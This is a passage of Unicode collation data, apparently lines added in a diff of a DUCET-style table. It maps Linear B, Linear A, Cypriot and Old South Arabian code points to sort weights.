+100CC ; [.468B.0020.0002] # LINEAR B IDEOGRAM B240 WHEELED CHARIOT
+100CD ; [.468C.0020.0002] # LINEAR B IDEOGRAM B241 CHARIOT
+100CE ; [.468D.0020.0002] # LINEAR B IDEOGRAM B242 CHARIOT FRAME
+100CF ; [.468E.0020.0002] # LINEAR B IDEOGRAM B243 WHEEL
+100D0 ; [.468F.0020.0002] # LINEAR B IDEOGRAM B245
+100D1 ; [.4690.0020.0002] # LINEAR B IDEOGRAM B246
+100D2 ; [.4691.0020.0002] # LINEAR B MONOGRAM B247 DIPTE
+100D3 ; [.4692.0020.0002] # LINEAR B IDEOGRAM B248
+100D4 ; [.4693.0020.0002] # LINEAR B IDEOGRAM B249
+100D5 ; [.4694.0020.0002] # LINEAR B IDEOGRAM B251
+100D6 ; [.4695.0020.0002] # LINEAR B IDEOGRAM B252
+100D7 ; [.4696.0020.0002] # LINEAR B IDEOGRAM B253
+100D8 ; [.4697.0020.0002] # LINEAR B IDEOGRAM B254 DART
+100D9 ; [.4698.0020.0002] # LINEAR B IDEOGRAM B255
+100DA ; [.4699.0020.0002] # LINEAR B IDEOGRAM B256
+100DB ; [.469A.0020.0002] # LINEAR B IDEOGRAM B257
+100DC ; [.469B.0020.0002] # LINEAR B IDEOGRAM B258
+100DD ; [.469C.0020.0002] # LINEAR B IDEOGRAM B259
+100DE ; [.469D.0020.0002] # LINEAR B IDEOGRAM VESSEL B155
+100DF ; [.469E.0020.0002] # LINEAR B IDEOGRAM VESSEL B200
+100E0 ; [.469F.0020.0002] # LINEAR B IDEOGRAM VESSEL B201
+100E1 ; [.46A0.0020.0002] # LINEAR B IDEOGRAM VESSEL B202
+100E2 ; [.46A1.0020.0002] # LINEAR B IDEOGRAM VESSEL B203
+100E3 ; [.46A2.0020.0002] # LINEAR B IDEOGRAM VESSEL B204
+100E4 ; [.46A3.0020.0002] # LINEAR B IDEOGRAM VESSEL B205
+100E5 ; [.46A4.0020.0002] # LINEAR B IDEOGRAM VESSEL B206
+100E6 ; [.46A5.0020.0002] # LINEAR B IDEOGRAM VESSEL B207
+100E7 ; [.46A6.0020.0002] # LINEAR B IDEOGRAM VESSEL B208
+100E8 ; [.46A7.0020.0002] # LINEAR B IDEOGRAM VESSEL B209
+100E9 ; [.46A8.0020.0002] # LINEAR B IDEOGRAM VESSEL B210
+100EA ; [.46A9.0020.0002] # LINEAR B IDEOGRAM VESSEL B211
+100EB ; [.46AA.0020.0002] # LINEAR B IDEOGRAM VESSEL B212
+100EC ; [.46AB.0020.0002] # LINEAR B IDEOGRAM VESSEL B213
+100ED ; [.46AC.0020.0002] # LINEAR B IDEOGRAM VESSEL B214
+100EE ; [.46AD.0020.0002] # LINEAR B IDEOGRAM VESSEL B215
+100EF ; [.46AE.0020.0002] # LINEAR B IDEOGRAM VESSEL B216
+100F0 ; [.46AF.0020.0002] # LINEAR B IDEOGRAM VESSEL B217
+100F1 ; [.46B0.0020.0002] # LINEAR B IDEOGRAM VESSEL B218
+100F2 ; [.46B1.0020.0002] # LINEAR B IDEOGRAM VESSEL B219
+100F3 ; [.46B2.0020.0002] # LINEAR B IDEOGRAM VESSEL B221
+100F4 ; [.46B3.0020.0002] # LINEAR B IDEOGRAM VESSEL B222
+100F5 ; [.46B4.0020.0002] # LINEAR B IDEOGRAM VESSEL B226
+100F6 ; [.46B5.0020.0002] # LINEAR B IDEOGRAM VESSEL B227
+100F7 ; [.46B6.0020.0002] # LINEAR B IDEOGRAM VESSEL B228
+100F8 ; [.46B7.0020.0002] # LINEAR B IDEOGRAM VESSEL B229
+100F9 ; [.46B8.0020.0002] # LINEAR B IDEOGRAM VESSEL B250
+100FA ; [.46B9.0020.0002] # LINEAR B IDEOGRAM VESSEL B305
+10600 ; [.46BA.0020.0002] # LINEAR A SIGN AB001
+10601 ; [.46BB.0020.0002] # LINEAR A SIGN AB002
+10602 ; [.46BC.0020.0002] # LINEAR A SIGN AB003
+10603 ; [.46BD.0020.0002] # LINEAR A SIGN AB004
+10604 ; [.46BE.0020.0002] # LINEAR A SIGN AB005
+10605 ; [.46BF.0020.0002] # LINEAR A SIGN AB006
+10606 ; [.46C0.0020.0002] # LINEAR A SIGN AB007
+10607 ; [.46C1.0020.0002] # LINEAR A SIGN AB008
+10608 ; [.46C2.0020.0002] # LINEAR A SIGN AB009
+10609 ; [.46C3.0020.0002] # LINEAR A SIGN AB010
+1060A ; [.46C4.0020.0002] # LINEAR A SIGN AB011
+1060B ; [.46C5.0020.0002] # LINEAR A SIGN AB013
+1060C ; [.46C6.0020.0002] # LINEAR A SIGN AB016
+1060D ; [.46C7.0020.0002] # LINEAR A SIGN AB017
+1060E ; [.46C8.0020.0002] # LINEAR A SIGN AB020
+1060F ; [.46C9.0020.0002] # LINEAR A SIGN AB021
+10610 ; [.46CA.0020.0002] # LINEAR A SIGN AB021F
+10611 ; [.46CB.0020.0002] # LINEAR A SIGN AB021M
+10612 ; [.46CC.0020.0002] # LINEAR A SIGN AB022
+10613 ; [.46CD.0020.0002] # LINEAR A SIGN AB022F
+10614 ; [.46CE.0020.0002] # LINEAR A SIGN AB022M
+10615 ; [.46CF.0020.0002] # LINEAR A SIGN AB023
+10616 ; [.46D0.0020.0002] # LINEAR A SIGN AB023M
+10617 ; [.46D1.0020.0002] # LINEAR A SIGN AB024
+10618 ; [.46D2.0020.0002] # LINEAR A SIGN AB026
+10619 ; [.46D3.0020.0002] # LINEAR A SIGN AB027
+1061A ; [.46D4.0020.0002] # LINEAR A SIGN AB028
+1061B ; [.46D5.0020.0002] # LINEAR A SIGN A028B
+1061C ; [.46D6.0020.0002] # LINEAR A SIGN AB029
+1061D ; [.46D7.0020.0002] # LINEAR A SIGN AB030
+1061E ; [.46D8.0020.0002] # LINEAR A SIGN AB031
+1061F ; [.46D9.0020.0002] # LINEAR A SIGN AB034
+10620 ; [.46DA.0020.0002] # LINEAR A SIGN AB037
+10621 ; [.46DB.0020.0002] # LINEAR A SIGN AB038
+10622 ; [.46DC.0020.0002] # LINEAR A SIGN AB039
+10623 ; [.46DD.0020.0002] # LINEAR A SIGN AB040
+10624 ; [.46DE.0020.0002] # LINEAR A SIGN AB041
+10625 ; [.46DF.0020.0002] # LINEAR A SIGN AB044
+10626 ; [.46E0.0020.0002] # LINEAR A SIGN AB045
+10627 ; [.46E1.0020.0002] # LINEAR A SIGN AB046
+10628 ; [.46E2.0020.0002] # LINEAR A SIGN AB047
+10629 ; [.46E3.0020.0002] # LINEAR A SIGN AB048
+1062A ; [.46E4.0020.0002] # LINEAR A SIGN AB049
+1062B ; [.46E5.0020.0002] # LINEAR A SIGN AB050
+1062C ; [.46E6.0020.0002] # LINEAR A SIGN AB051
+1062D ; [.46E7.0020.0002] # LINEAR A SIGN AB053
+1062E ; [.46E8.0020.0002] # LINEAR A SIGN AB054
+1062F ; [.46E9.0020.0002] # LINEAR A SIGN AB055
+10630 ; [.46EA.0020.0002] # LINEAR A SIGN AB056
+10631 ; [.46EB.0020.0002] # LINEAR A SIGN AB057
+10632 ; [.46EC.0020.0002] # LINEAR A SIGN AB058
+10633 ; [.46ED.0020.0002] # LINEAR A SIGN AB059
+10634 ; [.46EE.0020.0002] # LINEAR A SIGN AB060
+10635 ; [.46EF.0020.0002] # LINEAR A SIGN AB061
+10636 ; [.46F0.0020.0002] # LINEAR A SIGN AB065
+10637 ; [.46F1.0020.0002] # LINEAR A SIGN AB066
+10638 ; [.46F2.0020.0002] # LINEAR A SIGN AB067
+10639 ; [.46F3.0020.0002] # LINEAR A SIGN AB069
+1063A ; [.46F4.0020.0002] # LINEAR A SIGN AB070
+1063B ; [.46F5.0020.0002] # LINEAR A SIGN AB073
+1063C ; [.46F6.0020.0002] # LINEAR A SIGN AB074
+1063D ; [.46F7.0020.0002] # LINEAR A SIGN AB076
+1063E ; [.46F8.0020.0002] # LINEAR A SIGN AB077
+1063F ; [.46F9.0020.0002] # LINEAR A SIGN AB078
+10640 ; [.46FA.0020.0002] # LINEAR A SIGN AB079
+10641 ; [.46FB.0020.0002] # LINEAR A SIGN AB080
+10642 ; [.46FC.0020.0002] # LINEAR A SIGN AB081
+10643 ; [.46FD.0020.0002] # LINEAR A SIGN AB082
+10644 ; [.46FE.0020.0002] # LINEAR A SIGN AB085
+10645 ; [.46FF.0020.0002] # LINEAR A SIGN AB086
+10646 ; [.4700.0020.0002] # LINEAR A SIGN AB087
+10647 ; [.4701.0020.0002] # LINEAR A SIGN A100-102
+10648 ; [.4702.0020.0002] # LINEAR A SIGN AB118
+10649 ; [.4703.0020.0002] # LINEAR A SIGN AB120
+1064A ; [.4704.0020.0002] # LINEAR A SIGN A120B
+1064B ; [.4705.0020.0002] # LINEAR A SIGN AB122
+1064C ; [.4706.0020.0002] # LINEAR A SIGN AB123
+1064D ; [.4707.0020.0002] # LINEAR A SIGN AB131A
+1064E ; [.4708.0020.0002] # LINEAR A SIGN AB131B
+1064F ; [.4709.0020.0002] # LINEAR A SIGN A131C
+10650 ; [.470A.0020.0002] # LINEAR A SIGN AB164
+10651 ; [.470B.0020.0002] # LINEAR A SIGN AB171
+10652 ; [.470C.0020.0002] # LINEAR A SIGN AB180
+10653 ; [.470D.0020.0002] # LINEAR A SIGN AB188
+10654 ; [.470E.0020.0002] # LINEAR A SIGN AB191
+10655 ; [.470F.0020.0002] # LINEAR A SIGN A301
+10656 ; [.4710.0020.0002] # LINEAR A SIGN A302
+10657 ; [.4711.0020.0002] # LINEAR A SIGN A303
+10658 ; [.4712.0020.0002] # LINEAR A SIGN A304
+10659 ; [.4713.0020.0002] # LINEAR A SIGN A305
+1065A ; [.4714.0020.0002] # LINEAR A SIGN A306
+1065B ; [.4715.0020.0002] # LINEAR A SIGN A307
+1065C ; [.4716.0020.0002] # LINEAR A SIGN A308
+1065D ; [.4717.0020.0002] # LINEAR A SIGN A309A
+1065E ; [.4718.0020.0002] # LINEAR A SIGN A309B
+1065F ; [.4719.0020.0002] # LINEAR A SIGN A309C
+10660 ; [.471A.0020.0002] # LINEAR A SIGN A310
+10661 ; [.471B.0020.0002] # LINEAR A SIGN A311
+10662 ; [.471C.0020.0002] # LINEAR A SIGN A312
+10663 ; [.471D.0020.0002] # LINEAR A SIGN A313A
+10664 ; [.471E.0020.0002] # LINEAR A SIGN A313B
+10665 ; [.471F.0020.0002] # LINEAR A SIGN A313C
+10666 ; [.4720.0020.0002] # LINEAR A SIGN A314
+10667 ; [.4721.0020.0002] # LINEAR A SIGN A315
+10668 ; [.4722.0020.0002] # LINEAR A SIGN A316
+10669 ; [.4723.0020.0002] # LINEAR A SIGN A317
+1066A ; [.4724.0020.0002] # LINEAR A SIGN A318
+1066B ; [.4725.0020.0002] # LINEAR A SIGN A319
+1066C ; [.4726.0020.0002] # LINEAR A SIGN A320
+1066D ; [.4727.0020.0002] # LINEAR A SIGN A321
+1066E ; [.4728.0020.0002] # LINEAR A SIGN A322
+1066F ; [.4729.0020.0002] # LINEAR A SIGN A323
+10670 ; [.472A.0020.0002] # LINEAR A SIGN A324
+10671 ; [.472B.0020.0002] # LINEAR A SIGN A325
+10672 ; [.472C.0020.0002] # LINEAR A SIGN A326
+10673 ; [.472D.0020.0002] # LINEAR A SIGN A327
+10674 ; [.472E.0020.0002] # LINEAR A SIGN A328
+10675 ; [.472F.0020.0002] # LINEAR A SIGN A329
+10676 ; [.4730.0020.0002] # LINEAR A SIGN A330
+10677 ; [.4731.0020.0002] # LINEAR A SIGN A331
+10678 ; [.4732.0020.0002] # LINEAR A SIGN A332
+10679 ; [.4733.0020.0002] # LINEAR A SIGN A333
+1067A ; [.4734.0020.0002] # LINEAR A SIGN A334
+1067B ; [.4735.0020.0002] # LINEAR A SIGN A335
+1067C ; [.4736.0020.0002] # LINEAR A SIGN A336
+1067D ; [.4737.0020.0002] # LINEAR A SIGN A337
+1067E ; [.4738.0020.0002] # LINEAR A SIGN A338
+1067F ; [.4739.0020.0002] # LINEAR A SIGN A339
+10680 ; [.473A.0020.0002] # LINEAR A SIGN A340
+10681 ; [.473B.0020.0002] # LINEAR A SIGN A341
+10682 ; [.473C.0020.0002] # LINEAR A SIGN A342
+10683 ; [.473D.0020.0002] # LINEAR A SIGN A343
+10684 ; [.473E.0020.0002] # LINEAR A SIGN A344
+10685 ; [.473F.0020.0002] # LINEAR A SIGN A345
+10686 ; [.4740.0020.0002] # LINEAR A SIGN A346
+10687 ; [.4741.0020.0002] # LINEAR A SIGN A347
+10688 ; [.4742.0020.0002] # LINEAR A SIGN A348
+10689 ; [.4743.0020.0002] # LINEAR A SIGN A349
+1068A ; [.4744.0020.0002] # LINEAR A SIGN A350
+1068B ; [.4745.0020.0002] # LINEAR A SIGN A351
+1068C ; [.4746.0020.0002] # LINEAR A SIGN A352
+1068D ; [.4747.0020.0002] # LINEAR A SIGN A353
+1068E ; [.4748.0020.0002] # LINEAR A SIGN A354
+1068F ; [.4749.0020.0002] # LINEAR A SIGN A355
+10690 ; [.474A.0020.0002] # LINEAR A SIGN A356
+10691 ; [.474B.0020.0002] # LINEAR A SIGN A357
+10692 ; [.474C.0020.0002] # LINEAR A SIGN A358
+10693 ; [.474D.0020.0002] # LINEAR A SIGN A359
+10694 ; [.474E.0020.0002] # LINEAR A SIGN A360
+10695 ; [.474F.0020.0002] # LINEAR A SIGN A361
+10696 ; [.4750.0020.0002] # LINEAR A SIGN A362
+10697 ; [.4751.0020.0002] # LINEAR A SIGN A363
+10698 ; [.4752.0020.0002] # LINEAR A SIGN A364
+10699 ; [.4753.0020.0002] # LINEAR A SIGN A365
+1069A ; [.4754.0020.0002] # LINEAR A SIGN A366
+1069B ; [.4755.0020.0002] # LINEAR A SIGN A367
+1069C ; [.4756.0020.0002] # LINEAR A SIGN A368
+1069D ; [.4757.0020.0002] # LINEAR A SIGN A369
+1069E ; [.4758.0020.0002] # LINEAR A SIGN A370
+1069F ; [.4759.0020.0002] # LINEAR A SIGN A371
+106A0 ; [.475A.0020.0002] # LINEAR A SIGN A400-VAS
+106A1 ; [.475B.0020.0002] # LINEAR A SIGN A401-VAS
+106A2 ; [.475C.0020.0002] # LINEAR A SIGN A402-VAS
+106A3 ; [.475D.0020.0002] # LINEAR A SIGN A403-VAS
+106A4 ; [.475E.0020.0002] # LINEAR A SIGN A404-VAS
+106A5 ; [.475F.0020.0002] # LINEAR A SIGN A405-VAS
+106A6 ; [.4760.0020.0002] # LINEAR A SIGN A406-VAS
+106A7 ; [.4761.0020.0002] # LINEAR A SIGN A407-VAS
+106A8 ; [.4762.0020.0002] # LINEAR A SIGN A408-VAS
+106A9 ; [.4763.0020.0002] # LINEAR A SIGN A409-VAS
+106AA ; [.4764.0020.0002] # LINEAR A SIGN A410-VAS
+106AB ; [.4765.0020.0002] # LINEAR A SIGN A411-VAS
+106AC ; [.4766.0020.0002] # LINEAR A SIGN A412-VAS
+106AD ; [.4767.0020.0002] # LINEAR A SIGN A413-VAS
+106AE ; [.4768.0020.0002] # LINEAR A SIGN A414-VAS
+106AF ; [.4769.0020.0002] # LINEAR A SIGN A415-VAS
+106B0 ; [.476A.0020.0002] # LINEAR A SIGN A416-VAS
+106B1 ; [.476B.0020.0002] # LINEAR A SIGN A417-VAS
+106B2 ; [.476C.0020.0002] # LINEAR A SIGN A418-VAS
+106B3 ; [.476D.0020.0002] # LINEAR A SIGN A501
+106B4 ; [.476E.0020.0002] # LINEAR A SIGN A502
+106B5 ; [.476F.0020.0002] # LINEAR A SIGN A503
+106B6 ; [.4770.0020.0002] # LINEAR A SIGN A504
+106B7 ; [.4771.0020.0002] # LINEAR A SIGN A505
+106B8 ; [.4772.0020.0002] # LINEAR A SIGN A506
+106B9 ; [.4773.0020.0002] # LINEAR A SIGN A508
+106BA ; [.4774.0020.0002] # LINEAR A SIGN A509
+106BB ; [.4775.0020.0002] # LINEAR A SIGN A510
+106BC ; [.4776.0020.0002] # LINEAR A SIGN A511
+106BD ; [.4777.0020.0002] # LINEAR A SIGN A512
+106BE ; [.4778.0020.0002] # LINEAR A SIGN A513
+106BF ; [.4779.0020.0002] # LINEAR A SIGN A515
+106C0 ; [.477A.0020.0002] # LINEAR A SIGN A516
+106C1 ; [.477B.0020.0002] # LINEAR A SIGN A520
+106C2 ; [.477C.0020.0002] # LINEAR A SIGN A521
+106C3 ; [.477D.0020.0002] # LINEAR A SIGN A523
+106C4 ; [.477E.0020.0002] # LINEAR A SIGN A524
+106C5 ; [.477F.0020.0002] # LINEAR A SIGN A525
+106C6 ; [.4780.0020.0002] # LINEAR A SIGN A526
+106C7 ; [.4781.0020.0002] # LINEAR A SIGN A527
+106C8 ; [.4782.0020.0002] # LINEAR A SIGN A528
+106C9 ; [.4783.0020.0002] # LINEAR A SIGN A529
+106CA ; [.4784.0020.0002] # LINEAR A SIGN A530
+106CB ; [.4785.0020.0002] # LINEAR A SIGN A531
+106CC ; [.4786.0020.0002] # LINEAR A SIGN A532
+106CD ; [.4787.0020.0002] # LINEAR A SIGN A534
+106CE ; [.4788.0020.0002] # LINEAR A SIGN A535
+106CF ; [.4789.0020.0002] # LINEAR A SIGN A536
+106D0 ; [.478A.0020.0002] # LINEAR A SIGN A537
+106D1 ; [.478B.0020.0002] # LINEAR A SIGN A538
+106D2 ; [.478C.0020.0002] # LINEAR A SIGN A539
+106D3 ; [.478D.0020.0002] # LINEAR A SIGN A540
+106D4 ; [.478E.0020.0002] # LINEAR A SIGN A541
+106D5 ; [.478F.0020.0002] # LINEAR A SIGN A542
+106D6 ; [.4790.0020.0002] # LINEAR A SIGN A545
+106D7 ; [.4791.0020.0002] # LINEAR A SIGN A547
+106D8 ; [.4792.0020.0002] # LINEAR A SIGN A548
+106D9 ; [.4793.0020.0002] # LINEAR A SIGN A549
+106DA ; [.4794.0020.0002] # LINEAR A SIGN A550
+106DB ; [.4795.0020.0002] # LINEAR A SIGN A551
+106DC ; [.4796.0020.0002] # LINEAR A SIGN A552
+106DD ; [.4797.0020.0002] # LINEAR A SIGN A553
+106DE ; [.4798.0020.0002] # LINEAR A SIGN A554
+106DF ; [.4799.0020.0002] # LINEAR A SIGN A555
+106E0 ; [.479A.0020.0002] # LINEAR A SIGN A556
+106E1 ; [.479B.0020.0002] # LINEAR A SIGN A557
+106E2 ; [.479C.0020.0002] # LINEAR A SIGN A559
+106E3 ; [.479D.0020.0002] # LINEAR A SIGN A563
+106E4 ; [.479E.0020.0002] # LINEAR A SIGN A564
+106E5 ; [.479F.0020.0002] # LINEAR A SIGN A565
+106E6 ; [.47A0.0020.0002] # LINEAR A SIGN A566
+106E7 ; [.47A1.0020.0002] # LINEAR A SIGN A568
+106E8 ; [.47A2.0020.0002] # LINEAR A SIGN A569
+106E9 ; [.47A3.0020.0002] # LINEAR A SIGN A570
+106EA ; [.47A4.0020.0002] # LINEAR A SIGN A571
+106EB ; [.47A5.0020.0002] # LINEAR A SIGN A572
+106EC ; [.47A6.0020.0002] # LINEAR A SIGN A573
+106ED ; [.47A7.0020.0002] # LINEAR A SIGN A574
+106EE ; [.47A8.0020.0002] # LINEAR A SIGN A575
+106EF ; [.47A9.0020.0002] # LINEAR A SIGN A576
+106F0 ; [.47AA.0020.0002] # LINEAR A SIGN A577
+106F1 ; [.47AB.0020.0002] # LINEAR A SIGN A578
+106F2 ; [.47AC.0020.0002] # LINEAR A SIGN A579
+106F3 ; [.47AD.0020.0002] # LINEAR A SIGN A580
+106F4 ; [.47AE.0020.0002] # LINEAR A SIGN A581
+106F5 ; [.47AF.0020.0002] # LINEAR A SIGN A582
+106F6 ; [.47B0.0020.0002] # LINEAR A SIGN A583
+106F7 ; [.47B1.0020.0002] # LINEAR A SIGN A584
+106F8 ; [.47B2.0020.0002] # LINEAR A SIGN A585
+106F9 ; [.47B3.0020.0002] # LINEAR A SIGN A586
+106FA ; [.47B4.0020.0002] # LINEAR A SIGN A587
+106FB ; [.47B5.0020.0002] # LINEAR A SIGN A588
+106FC ; [.47B6.0020.0002] # LINEAR A SIGN A589
+106FD ; [.47B7.0020.0002] # LINEAR A SIGN A591
+106FE ; [.47B8.0020.0002] # LINEAR A SIGN A592
+106FF ; [.47B9.0020.0002] # LINEAR A SIGN A594
+10700 ; [.47BA.0020.0002] # LINEAR A SIGN A595
+10701 ; [.47BB.0020.0002] # LINEAR A SIGN A596
+10702 ; [.47BC.0020.0002] # LINEAR A SIGN A598
+10703 ; [.47BD.0020.0002] # LINEAR A SIGN A600
+10704 ; [.47BE.0020.0002] # LINEAR A SIGN A601
+10705 ; [.47BF.0020.0002] # LINEAR A SIGN A602
+10706 ; [.47C0.0020.0002] # LINEAR A SIGN A603
+10707 ; [.47C1.0020.0002] # LINEAR A SIGN A604
+10708 ; [.47C2.0020.0002] # LINEAR A SIGN A606
+10709 ; [.47C3.0020.0002] # LINEAR A SIGN A608
+1070A ; [.47C4.0020.0002] # LINEAR A SIGN A609
+1070B ; [.47C5.0020.0002] # LINEAR A SIGN A610
+1070C ; [.47C6.0020.0002] # LINEAR A SIGN A611
+1070D ; [.47C7.0020.0002] # LINEAR A SIGN A612
+1070E ; [.47C8.0020.0002] # LINEAR A SIGN A613
+1070F ; [.47C9.0020.0002] # LINEAR A SIGN A614
+10710 ; [.47CA.0020.0002] # LINEAR A SIGN A615
+10711 ; [.47CB.0020.0002] # LINEAR A SIGN A616
+10712 ; [.47CC.0020.0002] # LINEAR A SIGN A617
+10713 ; [.47CD.0020.0002] # LINEAR A SIGN A618
+10714 ; [.47CE.0020.0002] # LINEAR A SIGN A619
+10715 ; [.47CF.0020.0002] # LINEAR A SIGN A620
+10716 ; [.47D0.0020.0002] # LINEAR A SIGN A621
+10717 ; [.47D1.0020.0002] # LINEAR A SIGN A622
+10718 ; [.47D2.0020.0002] # LINEAR A SIGN A623
+10719 ; [.47D3.0020.0002] # LINEAR A SIGN A624
+1071A ; [.47D4.0020.0002] # LINEAR A SIGN A626
+1071B ; [.47D5.0020.0002] # LINEAR A SIGN A627
+1071C ; [.47D6.0020.0002] # LINEAR A SIGN A628
+1071D ; [.47D7.0020.0002] # LINEAR A SIGN A629
+1071E ; [.47D8.0020.0002] # LINEAR A SIGN A634
+1071F ; [.47D9.0020.0002] # LINEAR A SIGN A637
+10720 ; [.47DA.0020.0002] # LINEAR A SIGN A638
+10721 ; [.47DB.0020.0002] # LINEAR A SIGN A640
+10722 ; [.47DC.0020.0002] # LINEAR A SIGN A642
+10723 ; [.47DD.0020.0002] # LINEAR A SIGN A643
+10724 ; [.47DE.0020.0002] # LINEAR A SIGN A644
+10725 ; [.47DF.0020.0002] # LINEAR A SIGN A645
+10726 ; [.47E0.0020.0002] # LINEAR A SIGN A646
+10727 ; [.47E1.0020.0002] # LINEAR A SIGN A648
+10728 ; [.47E2.0020.0002] # LINEAR A SIGN A649
+10729 ; [.47E3.0020.0002] # LINEAR A SIGN A651
+1072A ; [.47E4.0020.0002] # LINEAR A SIGN A652
+1072B ; [.47E5.0020.0002] # LINEAR A SIGN A653
+1072C ; [.47E6.0020.0002] # LINEAR A SIGN A654
+1072D ; [.47E7.0020.0002] # LINEAR A SIGN A655
+1072E ; [.47E8.0020.0002] # LINEAR A SIGN A656
+1072F ; [.47E9.0020.0002] # LINEAR A SIGN A657
+10730 ; [.47EA.0020.0002] # LINEAR A SIGN A658
+10731 ; [.47EB.0020.0002] # LINEAR A SIGN A659
+10732 ; [.47EC.0020.0002] # LINEAR A SIGN A660
+10733 ; [.47ED.0020.0002] # LINEAR A SIGN A661
+10734 ; [.47EE.0020.0002] # LINEAR A SIGN A662
+10735 ; [.47EF.0020.0002] # LINEAR A SIGN A663
+10736 ; [.47F0.0020.0002] # LINEAR A SIGN A664
+10740 ; [.47F1.0020.0002] # LINEAR A SIGN A701 A
+10741 ; [.47F2.0020.0002] # LINEAR A SIGN A702 B
+10742 ; [.47F3.0020.0002] # LINEAR A SIGN A703 D
+10743 ; [.47F4.0020.0002] # LINEAR A SIGN A704 E
+10744 ; [.47F5.0020.0002] # LINEAR A SIGN A705 F
+10745 ; [.47F6.0020.0002] # LINEAR A SIGN A706 H
+10746 ; [.47F7.0020.0002] # LINEAR A SIGN A707 J
+10747 ; [.47F8.0020.0002] # LINEAR A SIGN A708 K
+10748 ; [.47F9.0020.0002] # LINEAR A SIGN A709 L
+10749 ; [.47FA.0020.0002] # LINEAR A SIGN A709-2 L2
+1074A ; [.47FB.0020.0002] # LINEAR A SIGN A709-3 L3
+1074B ; [.47FC.0020.0002] # LINEAR A SIGN A709-4 L4
+1074C ; [.47FD.0020.0002] # LINEAR A SIGN A709-6 L6
+1074D ; [.47FE.0020.0002] # LINEAR A SIGN A710 W
+1074E ; [.47FF.0020.0002] # LINEAR A SIGN A711 X
+1074F ; [.4800.0020.0002] # LINEAR A SIGN A712 Y
+10750 ; [.4801.0020.0002] # LINEAR A SIGN A713 OMEGA
+10751 ; [.4802.0020.0002] # LINEAR A SIGN A714 ABB
+10752 ; [.4803.0020.0002] # LINEAR A SIGN A715 BB
+10753 ; [.4804.0020.0002] # LINEAR A SIGN A717 DD
+10754 ; [.4805.0020.0002] # LINEAR A SIGN A726 EYYY
+10755 ; [.4806.0020.0002] # LINEAR A SIGN A732 JE
+10760 ; [.4807.0020.0002] # LINEAR A SIGN A800
+10761 ; [.4808.0020.0002] # LINEAR A SIGN A801
+10762 ; [.4809.0020.0002] # LINEAR A SIGN A802
+10763 ; [.480A.0020.0002] # LINEAR A SIGN A803
+10764 ; [.480B.0020.0002] # LINEAR A SIGN A804
+10765 ; [.480C.0020.0002] # LINEAR A SIGN A805
+10766 ; [.480D.0020.0002] # LINEAR A SIGN A806
+10767 ; [.480E.0020.0002] # LINEAR A SIGN A807
+10800 ; [.480F.0020.0002] # CYPRIOT SYLLABLE A
+10801 ; [.4810.0020.0002] # CYPRIOT SYLLABLE E
+10802 ; [.4811.0020.0002] # CYPRIOT SYLLABLE I
+10803 ; [.4812.0020.0002] # CYPRIOT SYLLABLE O
+10804 ; [.4813.0020.0002] # CYPRIOT SYLLABLE U
+10805 ; [.4814.0020.0002] # CYPRIOT SYLLABLE JA
+10808 ; [.4815.0020.0002] # CYPRIOT SYLLABLE JO
+1080A ; [.4816.0020.0002] # CYPRIOT SYLLABLE KA
+1080B ; [.4817.0020.0002] # CYPRIOT SYLLABLE KE
+1080C ; [.4818.0020.0002] # CYPRIOT SYLLABLE KI
+1080D ; [.4819.0020.0002] # CYPRIOT SYLLABLE KO
+1080E ; [.481A.0020.0002] # CYPRIOT SYLLABLE KU
+1080F ; [.481B.0020.0002] # CYPRIOT SYLLABLE LA
+10810 ; [.481C.0020.0002] # CYPRIOT SYLLABLE LE
+10811 ; [.481D.0020.0002] # CYPRIOT SYLLABLE LI
+10812 ; [.481E.0020.0002] # CYPRIOT SYLLABLE LO
+10813 ; [.481F.0020.0002] # CYPRIOT SYLLABLE LU
+10814 ; [.4820.0020.0002] # CYPRIOT SYLLABLE MA
+10815 ; [.4821.0020.0002] # CYPRIOT SYLLABLE ME
+10816 ; [.4822.0020.0002] # CYPRIOT SYLLABLE MI
+10817 ; [.4823.0020.0002] # CYPRIOT SYLLABLE MO
+10818 ; [.4824.0020.0002] # CYPRIOT SYLLABLE MU
+10819 ; [.4825.0020.0002] # CYPRIOT SYLLABLE NA
+1081A ; [.4826.0020.0002] # CYPRIOT SYLLABLE NE
+1081B ; [.4827.0020.0002] # CYPRIOT SYLLABLE NI
+1081C ; [.4828.0020.0002] # CYPRIOT SYLLABLE NO
+1081D ; [.4829.0020.0002] # CYPRIOT SYLLABLE NU
+1081E ; [.482A.0020.0002] # CYPRIOT SYLLABLE PA
+1081F ; [.482B.0020.0002] # CYPRIOT SYLLABLE PE
+10820 ; [.482C.0020.0002] # CYPRIOT SYLLABLE PI
+10821 ; [.482D.0020.0002] # CYPRIOT SYLLABLE PO
+10822 ; [.482E.0020.0002] # CYPRIOT SYLLABLE PU
+10823 ; [.482F.0020.0002] # CYPRIOT SYLLABLE RA
+10824 ; [.4830.0020.0002] # CYPRIOT SYLLABLE RE
+10825 ; [.4831.0020.0002] # CYPRIOT SYLLABLE RI
+10826 ; [.4832.0020.0002] # CYPRIOT SYLLABLE RO
+10827 ; [.4833.0020.0002] # CYPRIOT SYLLABLE RU
+10828 ; [.4834.0020.0002] # CYPRIOT SYLLABLE SA
+10829 ; [.4835.0020.0002] # CYPRIOT SYLLABLE SE
+1082A ; [.4836.0020.0002] # CYPRIOT SYLLABLE SI
+1082B ; [.4837.0020.0002] # CYPRIOT SYLLABLE SO
+1082C ; [.4838.0020.0002] # CYPRIOT SYLLABLE SU
+1082D ; [.4839.0020.0002] # CYPRIOT SYLLABLE TA
+1082E ; [.483A.0020.0002] # CYPRIOT SYLLABLE TE
+1082F ; [.483B.0020.0002] # CYPRIOT SYLLABLE TI
+10830 ; [.483C.0020.0002] # CYPRIOT SYLLABLE TO
+10831 ; [.483D.0020.0002] # CYPRIOT SYLLABLE TU
+10832 ; [.483E.0020.0002] # CYPRIOT SYLLABLE WA
+10833 ; [.483F.0020.0002] # CYPRIOT SYLLABLE WE
+10834 ; [.4840.0020.0002] # CYPRIOT SYLLABLE WI
+10835 ; [.4841.0020.0002] # CYPRIOT SYLLABLE WO
+10837 ; [.4842.0020.0002] # CYPRIOT SYLLABLE XA
+10838 ; [.4843.0020.0002] # CYPRIOT SYLLABLE XE
+1083C ; [.4844.0020.0002] # CYPRIOT SYLLABLE ZA
+1083F ; [.4845.0020.0002] # CYPRIOT SYLLABLE ZO
+10A60 ; [.4846.0020.0002] # OLD SOUTH ARABIAN LETTER HE
+10A61 ; [.4847.0020.0002] # OLD SOUTH ARABIAN LETTER LAMEDH
+10A62 ; [.4848.0020.0002] # OLD SOUTH ARABIAN LETTER HETH
